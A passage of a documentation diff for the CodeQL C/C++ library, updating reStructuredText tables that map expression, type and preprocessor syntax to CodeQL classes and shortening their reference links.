++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``--`` | PostfixDecrExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``--`` Expr_ | PrefixDecrExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| Expr_ ``++`` | PostfixIncrExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``++`` Expr_ | PrefixIncrExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``__imag (`` Expr_ ``)`` | ImaginaryPartExpr_ | GNU extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``__real (`` Expr_ ``)`` | RealPartExpr_ | GNU extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``-`` Expr_ | UnaryMinusExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``+`` Expr_ | UnaryPlusExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``~`` Expr_ | | ComplementExpr_ | | | +| | | ConjugationExpr_ | | GNU extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``!`` Expr_ | NotExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| | ``int`` *vect* ``__attribute__`` | VectorFillOperation_ | GNU extension | +| | ``( ( vector_size (`` *16* ``) ) )`` | | | +| | ``= {`` *3* ``,`` *8* ``,`` *32* ``,`` *33* ``};`` | | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``sizeof (`` Expr_ ``)`` | SizeofExprOperator_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``sizeof (`` Type_ ``)`` | SizeofTypeOperator_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| | ``template < typename...`` *T* ``>`` | SizeofPackOperator_ | | +| | ``int`` *count* ``(`` *T* ``&&...`` *t* ``)`` | | | +| | ``{ return sizeof... (`` *t* ``); }`` | | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``( {`` Stmt_... ``;`` Expr_ ``} )`` | StmtExpr_ | GNU/Clang extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``this`` | ThisExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``throw (`` Expr_ ``);`` | ThrowExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``throw;`` | ReThrowExpr_ | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| | ``typeid (`` Expr_ ``)`` | TypeidOperator_ | | +| | ``typeid (`` Type_ ``)`` | | | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ +| ``__uuidof (`` Expr_ ``)`` | UuidofOperator_ | Microsoft extension | ++-------------------------------------------------------+----------------------------------------------------+-------------------------------------------+ Type classes ~~~~~~~~~~~~ -This table lists subclasses of `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ representing C/C++ types. +This table lists subclasses of Type_ representing C/C++ types. -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Example syntax | CodeQL class | Remarks | -+=============================================================================================================================================================================================================================================================================================================================================================================================================================================+==================================================================================================================================================================+==================================================================================================================================================================================================================================================================================+ -| ``void`` | `VoidType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$VoidType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``_Bool`` or ``bool`` | `BoolType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$BoolType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``char16_t`` | `Char16Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Char16Type.html>`__ | C11, C++11 | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``char32_t`` | `Char32Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Char32Type.html>`__ | C11, C++11 | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``char`` | `PlainCharType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$PlainCharType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``signed char`` | `SignedCharType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$SignedCharType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``unsigned char`` | `UnsignedCharType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$UnsignedCharType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``int`` | `IntType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$IntType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``long long`` | `LongLongType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$LongLongType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``long`` | `LongType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$LongType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``short`` | `ShortType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$ShortType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``wchar_t`` | `WideCharType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$WideCharType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``nullptr_t`` | `NullPointerType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$NullPointerType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``double`` | `DoubleType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$DoubleType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``long double`` | `LongDoubleType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$LongDoubleType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``float`` | `FloatType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$FloatType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``auto`` | `AutoType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$AutoType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``decltype (`` `Expr <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/exprs/Expr.qll/type.Expr$Expr.html>`__ ``)`` | `Decltype <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Decltype.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``[`` *n* ``]`` | `ArrayType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$ArrayType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``( ^`` *blockptr* ``) (`` `Parameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html>`__... ``)`` | `BlockType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$BlockType.html>`__ | Apple extension | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``( *`` *funcptr* ``) (`` `Parameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html>`__... ``)`` | `FunctionPointerType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$FunctionPointerType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``( &`` *funcref* ``) (`` `Parameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html>`__... ``)`` | `FunctionReferenceType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$FunctionReferenceType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``__attribute__ ( ( vector_size (`` *n* ``) ) )`` | `GNUVectorType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$GNUVectorType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``*`` | `PointerType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$PointerType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``&`` | `LValueReferenceType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$LValueReferenceType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``&&`` | `RValueReferenceType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$RValueReferenceType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| `Type <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$Type.html>`__ ``(`` `Class <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Class.qll/type.Class$Class.html>`__ ``*::`` *membptr* ``) (`` `Parameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Parameter.qll/type.Parameter$Parameter.html>`__... ``)`` | `PointerToMemberType <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$PointerToMemberType.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``template < template < typename > class`` *C* ``>`` | `TemplateTemplateParameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$TemplateTemplateParameter.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``template < typename`` *T* ``>`` | `TemplateParameter <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Type.qll/type.Type$TemplateParameter.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Example syntax | CodeQL class | Remarks | ++===================================================================+=============================================================================================================================+=================+ +| ``void`` | VoidType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``_Bool`` or ``bool`` | BoolType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``char16_t`` | `Char16Type <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char16Type.html>`__ | C11, C++11 | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``char32_t`` | `Char32Type <https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char32Type.html>`__ | C11, C++11 | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``char`` | PlainCharType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``signed char`` | SignedCharType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``unsigned char`` | UnsignedCharType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``int`` | IntType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``long long`` | LongLongType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``long`` | LongType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``short`` | ShortType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``wchar_t`` | WideCharType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``nullptr_t`` | NullPointerType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``double`` | DoubleType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``long double`` | LongDoubleType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``float`` | FloatType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``auto`` | AutoType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``decltype (`` Expr_ ``)`` | Decltype_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``[`` *n* ``]`` | ArrayType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``( ^`` *blockptr* ``) (`` Parameter_... ``)`` | BlockType_ | Apple extension | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``( *`` *funcptr* ``) (`` Parameter_... ``)`` | FunctionPointerType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``( &`` *funcref* ``) (`` Parameter_... ``)`` | FunctionReferenceType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``__attribute__ ( ( vector_size (`` *n* ``) ) )`` | GNUVectorType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``*`` | PointerType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``&`` | LValueReferenceType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``&&`` | RValueReferenceType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| Type_ ``(`` Class_ ``*::`` *membptr* ``) (`` Parameter_... ``)`` | PointerToMemberType_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``template < template < typename > class`` *C* ``>`` | TemplateTemplateParameter_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ +| ``template < typename`` *T* ``>`` | TemplateParameter_ | | ++-------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------+-----------------+ Preprocessor classes ~~~~~~~~~~~~~~~~~~~~ -This table lists `Preprocessor <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/module.Preprocessor.html>`__ classes representing C/C++ preprocessing directives. +This table lists Preprocessor_ classes representing C/C++ preprocessing directives. -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| Example syntax | CodeQL class | Remarks | -+=============================================================================================================================================================================================================================================================================================================================================================================================================================================+==================================================================================================================================================================+===================================================================================================================================================================================================================================================================================+ -| ``#elif`` *condition* | `PreprocessorElif <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorElif.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#if`` *condition* | `PreprocessorIf <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorIf.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#ifdef`` *macro* | `PreprocessorIfdef <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorIfdef.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#ifndef`` *macro* | `PreprocessorIfndef <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorIfndef.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#else`` | `PreprocessorElse <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorElse.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#endif`` | `PreprocessorEndif <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorEndif.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#line`` *line_number* *file_name* | `PreprocessorLine <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorLine.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#pragma`` *pragma_property* | `PreprocessorPragma <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorPragma.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#undef`` *macro* | `PreprocessorUndef <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorUndef.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#warning`` *message* | `PreprocessorWarning <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorWarning.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#error`` *message* | `PreprocessorError <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Preprocessor.qll/type.Preprocessor$PreprocessorError.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#include`` *file_name* | `Include <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Include.qll/type.Include$Include.html>`__ | | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| ``#import`` *file_name* | `Import <https://help.semmle.com/qldoc/cpp/semmle/code/cpp/Include.qll/type.Include$Import.html>`__ | Apple/NeXT extension | -+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ -| 